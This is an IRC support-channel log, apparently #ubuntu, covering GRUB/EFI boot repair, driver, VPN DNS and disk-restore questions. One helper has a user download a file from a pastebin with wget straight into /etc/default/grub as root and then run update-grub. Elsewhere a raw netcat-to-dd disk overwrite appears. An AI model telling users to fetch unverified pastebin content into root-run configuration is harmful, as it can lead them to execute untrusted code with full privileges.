[20:49] <Danoded> I'm unsure of how to go about fixing it
[20:49] <tomreyn> juacom99: since 14.04 is only supported until spring, you might want to consider an upgrade, too. 16.04 LTS has been around since spring 2016, 18.04 LTS will be enabled for LTS upgrades soon, probably early next month.
[20:50] <EriC^^> Danoded: try using the windows cd
[20:50] <Danoded> I''l try now yeah EriC^^
[20:50] <Danoded> thanks for the help also
[20:50] <EriC^^> Danoded: remove the swap partition there so if you need to make a small partition you can use that space
[20:51] <EriC^^> Danoded: try joining ##windows they can probably tell you exactly what you need to do
[20:51] <Danoded> I'm on both right now, was going to try using the windows cd if it didn't succeed.
[20:52] <Danoded> By the way, what command/s allows one to delete a partition in terminal?
[20:52] <EriC^^> Danoded: "sudo cfdisk /dev/sdb"
[20:52] <juacom99> tomreyn: ii  net-tools                                             1.60-25ubuntu2.1                amd64                           The NET-3 networking toolkit
[20:52] <Stochastix_> Is there something that changed in mailx that makes -S variable[=value]  not work anymore?
[20:52] <Danoded> Thank you again
[20:52] <EriC^^> Danoded: delete then "write" the new partition table
[20:53] <EriC^^> *delete the partitions
[20:53] <EriC^^> Danoded: no problem
[20:53] <nickInItaly> this is the new boot-repair log, http://paste.ubuntu.com/p/JXHmnW2MGQ/ if I give configfile (hd0,gpt2)/efi/grub/grub.cfg it starts the menu correctly, but if I look at the settings I see EFI in capitals.
[20:53] <nickInItaly> which seem tp be pointing to the right place. is it a case sensitivity issue?
[20:53] <juacom99> tomreyn: this machin is froma  ova, i don't know if i'll be able to update
[20:53] <nickInItaly> (settings = set)
[20:54] <tomreyn> juacom99: what's ova?
[20:55] <EriC^^> nickInItaly: no
[20:55] <EriC^^> nickInItaly: have you booted into ubuntu right now?
[20:55] <tomreyn> juacom99: this? https://en.wikipedia.org/wiki/Open_Virtualization_Format
[20:55] <nickInItaly> Eric: Yeah, I'm in now
[20:56] <EriC^^> nickInItaly: what does "ls /sys/firmware/efi" give?
[20:56] <juacom99> yes that
[20:56] <EriC^^> nickInItaly: does it list files or no dir found?
[20:56] <nickInItaly> config_table  fw_platform_size  runtime      systab
[20:56] <nickInItaly> efivars       fw_vendor         runtime-map  vars
[20:57] <nickInItaly> no, it lists stuff.
[20:57] <EriC^^> nickInItaly: ok, type "sudo ls -lR /boot/efi | nc termbin.com 9999" and pastebin the link
[20:57] <EriC^^> nickInItaly: also "sudo efibootmgr -v | nc termbin.com 9999"
[20:58] <nickInItaly> http://termbin.com/db4ue
[20:58] <tomreyn> juacom99: well, talk to who developed / supports it.
[20:58] <nickInItaly> sudo efibootmgr -v | nc termbin.com 9999
[20:58] <nickInItaly> http://termbin.com/mx2i
[20:59] <tomreyn> juacom99: you should also turn to them for support, appliances are meant to be vendor managed and supported.
[20:59] <EriC^^> nickInItaly: try "sudo rsync /boot/efi/efi/grub/ /boot/efi/efi/ubuntu"   (the trailing / after grub is important)
[21:00] <nickInItaly> skipping directory .
[21:01] <EriC^^> nickInItaly: what are the files from "sudo ls /boot/efi/efi/ubuntu" now?
[21:01] <EriC^^> any grub/shim.efi's?
[21:02] <nickInItaly> https://paste.ubuntu.com/p/q9WSmx2tqw/
[21:03] <EriC^^> nickInItaly: hmm, try "sudo -i" then type "cp /boot/efi/efi/grub/* /boot/efi/efi/ubuntu"
[21:04] <EriC^^> nickInItaly: which ubuntu version are you using?
[21:04] <nickInItaly> 18.04, downloaded yesterday
[21:05] <EriC^^> aha i see
[21:05] <nickInItaly> https://paste.ubuntu.com/p/sNRjd7zvy8/
[21:05] <nickInItaly> was that a bad plan?
[21:05] <nickInItaly> ;)
[21:05] <EriC^^> nickInItaly: ok, try rebooting and see how it goes
[21:06] <nickInItaly> ok, I'll be back
[21:07] <nickInItaly> yeah!! that did it! thanks so much!
[21:08] <EriC^^> nickInItaly: great! no problem
[21:10] <nickInItaly> yeah. thanks a lot guys... going to bed!
[21:20] <linuxbox> i'm having trouble with installing a new plymouth theme for ubuntu - tried creating a new symbolic link to the new theme but it keeps telling me to use help for proper update-alternatives program usage information
[21:22] <oerheks> maybe this page is a help https://askubuntu.com/questions/773723/using-update-alternatives-to-change-plymouth-theme-only-affects-shutdown-animati
[21:23] <Stochastix_> s-nail  freaking NAILed it
[21:26] <qwebirc8249> hi
[21:26] <qwebirc8249> http://paste.ubuntu.com/p/MfGNPgn2x6/
[21:26] <qwebirc8249> facing issue with GUI starting
[21:27] <qwebirc8249> can somebody help me
[21:27] <qwebirc8249> struggling with the GRUB 2.02 for a while
[21:27] <EriC^^> qwebirc8249: were you here in the morning?
[21:28] <qwebirc8249> yes I was
[21:28] <qwebirc8249> tried for a while
[21:28] <qwebirc8249> and yet here I am back with no luck
[21:29] <EriC^^> qwebirc8249: didn't ubuntu boot?
[21:29] <qwebirc8249> http://paste.ubuntu.com/p/MfGNPgn2x6/ is the snapshot for the boot repair yet at the same palce
[21:29] <qwebirc8249> upon booting its opening the same GNU GRUB v2.02 console
[21:30] <EriC^^> qwebirc8249: didn't it work after we copied the files from efi/grub to efi/ubuntu?
[21:30] <qwebirc8249> instead of the GUI console
[21:30] <EriC^^> are you the guy called payne-something?
[21:30] <hfp> Hmmm is it only me or traceroute6 has an issue displaying the fqdn its tracing to? Look at L2 vs L6: https://dpaste.de/7dz8
[21:30] <qwebirc8249> @Eric guess you confused me with somebody else
[21:30] <qwebirc8249> I just got some URL for some help
[21:31] <EriC^^> qwebirc8249: ok, are you booted in the live usb on the pc right now?
[21:31] <qwebirc8249> let me do it right away
[21:32] <qwebirc8249> I am there now
[21:32] <qwebirc8249> up with live usb
[21:32] <EriC^^> qwebirc8249: type "sudo parted -ls | nc termbin.com 9999"
[21:33] <EriC^^> paste the link it gives you here
[21:33] <linuxbox> looks great thank you gusy - now i'd love to change the lock screen that shows up after a full reboot
[21:33] <qwebirc8249> ok
[21:34] <qwebirc8249> http://termbin.com/jbc1
[21:35] <EriC^^> qwebirc8249: type "sudo mount /dev/sda1 /mnt"
[21:35] <qwebirc8249> done
[21:36] <EriC^^> qwebirc8249: type "ls -lR /mnt | nc termbin.com 9999"
[21:37] <qwebirc8249> so with my limited understanding Eric you have mounted the other partition, rite?
[21:37] <EriC^^> qwebirc8249: yeah, i've mounted the efi partition
[21:38] <qwebirc8249> termbin.com/ncd9
[21:39] <EriC^^> qwebirc8249: type "sudo cp /mnt/efi/grub/* /mnt/efi/ubuntu"
[21:40] <qwebirc8249> done
[21:40] <EriC^^> qwebirc8249: try rebooting
[21:40] <qwebirc8249> ok
[21:41] <qwebirc8249> something new this time
[21:41] <qwebirc8249> blue console type cam eup
[21:41] <EriC^^> qwebirc8249: aha
[21:41] <EriC^^> type "echo $root"
[21:41] <qwebirc8249> superb... it looks like its booting now
[21:41] <EriC^^> ok cool
[21:42] <qwebirc8249> awesome Eric
[21:42] <EriC^^> once it boots, try "sudo update-grub"
[21:42] <qwebirc8249> finally it booted
[21:42] <qwebirc8249> doing the same
[21:42] <qwebirc8249> @Eric you are a pro
[21:43] <EriC^^> qwebirc8249: can you type "cat /etc/default/grub | nc termbin.com 9999" ?
[21:43] <qwebirc8249> one last question, is there some place that you suggest to read to understand the file structure of Ubuntu for future learning
[21:43] <EriC^^> trying to see why you're getting the blue grub menu instead of the purple one
[21:44] <EriC^^> !hier | qwebirc8249
[21:44] <qwebirc8249> termbin.com/13mf
[21:44] <uebera||> apteryx: I just found that dnsmasq actually has an option which allows you to bind a specific IP to a specific MAC address ("as usually expected"): ``Read /etc/ethers for information about hosts for the DHCP server. The format of /etc/ethers is a hardware address, followed by either a hostname or dotted-quad IP address. ' '
[21:45] <EriC^^> qwebirc8249: ah, thanks pretty empty
[21:45] <qwebirc8249> was it supposed to be having some content in there
[21:45] <qwebirc8249> thanks ubottu :)
[21:46] <EriC^^> qwebirc8249: type "sudo wget -O /etc/default/grub http://termbin.com/r4gr"
[21:46] <EriC^^> that's the default 18.04 file
[21:47] <EriC^^> then run "sudo update-grub"
[21:47] <pjs> a whole lot of grub issues the last few days (myself included)
[21:47] <uebera||> I'd like to get rid of the NetworkManager.service; however, "systemctl stop NetworkManager.service; systemctl disable NetworkManager.service; reboot" again resulted in NM writing /etc/resolv.conf. How to prevent this forever?
[21:49] <oerheks> pjs, yes, we have noticed too
[21:49] <qwebirc8249> done
[21:49] <qwebirc8249> was it Zero or O?
[21:49] <EriC^^> qwebirc8249: ok try rebooting see how stuff is
[21:49] <kenrin> Why don't you use mask instead of disable
[21:49] <EriC^^> qwebirc8249: O
[21:51] <qwebirc8249> installing update..
[21:51] <pjs> Everyone with grub issues, please check this bug (just opened): https://bugs.launchpad.net/ubuntu/+source/ubiquity/+bug/1781042  If it's your same issue, please add to the bug so it can get attention.
[21:51] <pjs> There are already a few people responding with the same issue (exactly what my issue is)
[21:51] <uebera||> kenrin: Thanks, I've added that as well. Let's see...
[21:58] <qwebirc8249> hey Eric
[21:58] <qwebirc8249> so finally the machine restarted
[21:58] <qwebirc8249> and looks good so far
[21:58] <RtMF> ..first red that as qebecbird...wtf
[21:58] <RtMF> *read
[21:59] <EriC^^> qwebirc8249: ok, cool
[22:00] <qwebirc8249> thanks a lot bud
[22:00] <qwebirc8249> really appreciate your help and cool expertise :)
[22:00] <EriC^^> no problem
[22:04] <pjs> Anyone with grub issues, I now have mine resolved. Follow the thread here: https://ubuntuforums.org/showthread.php?t=2396050
[22:21] <bobbydoogle> If im in the installer and don't see wi fi networks, whats the best next steps, I"m trying to install ubuntu on a new Lenovo y530
[22:22] <bobbydoogle> kindof a make or break to use ubuntu on the laptop
[22:23] <bobbydoogle> it reports an intel corporation wi fi.... but this isnt my network
[22:23] <linuxbox> hrm i can't seem to boot into terminal, cntrl alt f1 isnt' working
[22:25] <fluvvell> testing...
[22:25] <bobbydoogle> In try ubuntu I'm getting wi-fi is off.... turn on wi fi button does nothing.
[22:26] <Rumen> Hello there! I have a question. When I try to change the video card driver from Xorg to Nvidia nothing happens. Automatically returns to Xorg after aplly changes .... When I try to install driver from Synaptic the drivers from "Software & updates " I see it as manually installed and many funtions doesn't work at all. Already tried to purge the nvidia* and got 640x480 screen and when try to install the driver via terminal got broken dependancies which can not
[22:26] <Rumen> fix with "sudo apt --fix-bronen" or how it was the command don't rememmber it.
[22:27] <Rumen> Any idea how to fix that?
[22:27]  * RtMF sneks at bronen
[22:27] <RtMF> G?
[22:27] <RtMF> :-P
[22:27]  * RtMF is pparently the snark today.
[22:28] <RtMF> The quick brown fox jumps over the lazy dog./
[22:28] <RtMF> \
[22:28] <RtMF> damnit hti enter.
[22:28] <bobbydoogle> windows is connecting just fine so I suspect I have a driver issue.... Looks like Inter(R) Wireless-AC 9560.... supported?
[22:28]  * RtMF unsetcap(RtMF,CAP_GROUP_TYPING_REQUIRED);
[22:29] <bobbydoogle> I see it here: https://www.intel.com/content/www/us/en/support/articles/000005511/network-and-i-o/wireless-networking.html, I'm just wondering, I can't install in a  live environment right? Only way to test is install ubuntu and try to install driver?
[22:34] <jack> hi
[22:35] <JFox762> everytime I close the lid on my laptop, it disconnects... and forces me to have to pair it again.
[22:35] <JFox762> oops
[22:35] <JFox762> Im having an issue with my bluetooth connections
[22:35] <JFox762> everytime I clos ethe lid on my laptop, it disconnects... and forces me to have to pair it again.
[22:44] <oerheks> install dconf-tools, open dconf Editor application, go to org => gnome => setting-deamon => plugins => power - there search for lid-close-action
[22:45] <oerheks> change to 'nothing'
[22:46] <geri_> hi what does that mean?https://ideone.com/NbcFry ->
[22:46] <geri_> https://ideone.com/NbcFry
[22:52] <oerheks> geri_, better ask in the #python channels .. or Alpine ?
[22:55] <hans_> i need to unmount / , while still keeping a `nc 9999 | dd of=/dev/sda status=progress`  alive, any suggestions on how?
[22:57] <tomreyn> hans_: not. what are you trying to do there, what'S the greater picture?
[22:57] <hans_> i have a backup of the harddrive on another computer that i'd like to restore.
[22:58] <multifractal> How come I can only connect to the internet as long as my NordVPN is connected? Otherwise I juse see "no internet connection" errors in all programs, chrome, firefox, smuxi irc, etc.
[22:58] <tomreyn> okay, that's maybe not the greatest approach but yould work,. but you'll need to boot the system from a live usb / cd or whatever
[22:59] <tomreyn> hans_: ^
[22:59] <tomreyn> yould -> should
[23:00] <tomreyn> hans_: that's assuming your current / is a partition on sda
[23:00] <hans_> tomreyn, yes it is.
[23:01] <tomreyn> hans_: also make sure you dont mix up partitions and storages there. is the backup image you have there of all of sda or just a partition on it, such as sda2
[23:01] <hans_> it's the entire disk, /dev/sda
[23:02] <tomreyn> wenn then bring it up wform a live system and run netcat there and pray that no checksumming will be necessary.
[23:02] <hans_> oh no, i'm not running secure boot or anything like that
[23:04] <tomreyn> i was referring to the storage image data as it transfers over the network. but in fact there is tcp checksumming if you'll use tcp.
[23:04] <hans_> i am using tpc, and it's just over a local LAN, unless there's a power outage, it should be a very reliable connection
[23:05] <hans_> tcp*
[23:05] <tomreyn> not using tcp, mnn, well then i'm puzzled how you'll transfer the data.
[23:05] <hans_> but.. if i want to be 100% certain afterwards, i guess i can just md5 disk.img and md5 /dev/sda
[23:06] <hans_> i *am*  using tcp.
[23:06] <tomreyn> oh, sorry
[23:06] <tomreyn> i should clean my glasses.
[23:06] <hans_> (well, i could use UDP, but then the chance of corruption is much higher :p i won't risk that)
[23:09] <tomreyn> multifractal: this is a customer support question for your vpn provider, unless you'll explain which protoco9ls you're using, and how it's configured.
[23:10] <tomreyn> (it still is then, but then we might also be able to help)
[23:10] <jnewt> Computer locks up when dragging Firefox from one monitor to another with a video playing.  How to unlock when ctrl alt F1-6 doesn't do anything?
[23:11] <multifractal> tomreyn: OpenVPN, configured with network manager, as shown here. https://nordvpn.com/tutorials/linux/openvpn/ This issue just appeared out of the blue a couple of days ago, despite months of smooth usage.
[23:12] <tomreyn> jnewt: locks up as in freezes? does the mouse pointer still move? can you still do anything using mouse and kleyboard? if not, it's time for a reboot then. and this should not happen in the first place, suggests something si pretty wrong.
[23:14] <jnewt> Tomreyn, yes frozen, no mouse, no keyboard, bunch of unsaved work in a doc from the last hour or two.
[23:15] <hans_> neat, seems i'm getting away with just setting everything as "ro" in /etc/fstab, rebooting, and trafering. https://i.imgur.com/BBYY4hF.png
[23:15] <hans_> as long as nothing try to read anything from the disk, i guess i'm good (until crontab crash the system trying to read something?)
[23:18] <tomreyn> multifractal: i suggest you diagnose with them if it just happened to change out of nowhere recently
[23:18] <tomreyn> jnewt: there's nothing you can do other than ...
[23:19] <tomreyn> !sysrq | jnewt
[23:19] <tomreyn> but your work is probably lost, unless it was incrementally stored to disk while you edited it.
[23:22] <multifractal_> tomreyn: Thanks. FWIW the Nord support people told me to modify a file called /etc/resolv.conf and replace 2 IP addresses with new ones that he provided.  (Not sure what these are -something to do with DNS servers he mentioned maybe?). Anyway now it all seems to work normally, even when VPN is turned off.
[23:22] <stacks88> so i have mysql 5.7 server installed already. i ran a apt install command that included "mariadb-server". so i quickly hit ctrl+c https://i.imgur.com/qrEhEzo.png -- have i stopped things in time?
[23:22] <tomreyn> hans_: 'ro' in fstab doesn't prevent the system from reading off the disk on next boot. but it may still work, as long as you are writing to the raw device.
[23:23] <hans_> tomreyn, definitely, as /etc/fstab is also completely overwritten (with a NTFS filesystem no less)
[23:24] <multifractal_> tomreyn: I'd still be interested to hear an explanation of what caused this problem, if you have the enthusiasm.
[23:24] <hans_> i just needed the system to boot ro so it didn't corrupt my disk restore
[23:24] <tomreyn> multifractal_: this file defined the resolvers to be used by your system. it is pretty crucial these are trustable, otherwise when you access e.g. your online banking website you might actually end up on a completely different website run by someone else.
[23:24] <hans_> if anything is writing to disk while this is running, it will corrupt my restore, but that shouldn't happen when everything is mounted with ro
[23:26] <JFox762> oerheks... but the bluetooth also randomly disconnects for seemingly no reaosn
[23:27] <tomreyn> multifractal_: an explanation will take long until you've read up on how resolvers work. i can explain how things change when you use a vpn, but please read up on how resolvers work first of all.
[23:27] <multifractal_> tomreyn: thanks will do
[23:28] <tomreyn> hans_: i don't know what you refer to by "my restore", but you seem to be experienced and i trust that you know what you're doing there. ;)
[23:28] <tomreyn> * "my *disk* restore"
[23:32] <JFox762> anyone know how I can fix this issue I'm having iwth my bluetooth mouse? It keeps disconnectin
[23:32] <oerheks> recharge battery?
[23:36] <hggdh> hans_: just some observations -- you will have a new disk image that does not match what the current system *thinks* is real. The fact you booted successfully does not make this "new" disk sane
[23:37] <hggdh> hans_: this is a fantactic way to play russina roulette
[23:39] <AngaMalta> #blenderchat
[23:46] <zuzia> hi
[23:47] <zuzia> anyone know how to convert *.nib file to *.d64 on linux?
[23:50] <tomreyn> multifractal_: if you prefer watching videos over reading then watch https://www.youtube.com/watch?v=5o8CwafCxnU
[23:55] <oerheks> zuzia, d64 or c64 ?
[23:55] <zuzia> d
[23:55] <zuzia> coz is c64 rom
[23:55] <zuzia> but d
[23:56] <zuzia> nib is apple disc image
[23:56] <zuzia> but i need program to convert nib to d64 coz emulator commodore "vice" not open nib if not converted
[23:57] <zuzia> nib tool work on windows
[23:57] <zuzia> i need linux version
[23:57] <oerheks> nibtools are for amd64 too https://c64preservation.com/files/nibtools/
[23:57] <oerheks> march 3 2018
[23:58] <zuzia> i not look procesor architecture i wont unpack file from nid directly to format commodore 64
[23:58] <zuzia> nib*
[23:59] <zuzia> nib > d64 or g64 coz all work in vice
[23:59] <hggdh> zuzia: amd64 is the generic name for 64-bit Intel-compatible chips
[23:59] <zuzia> i can do that on windows machine but i not wont :D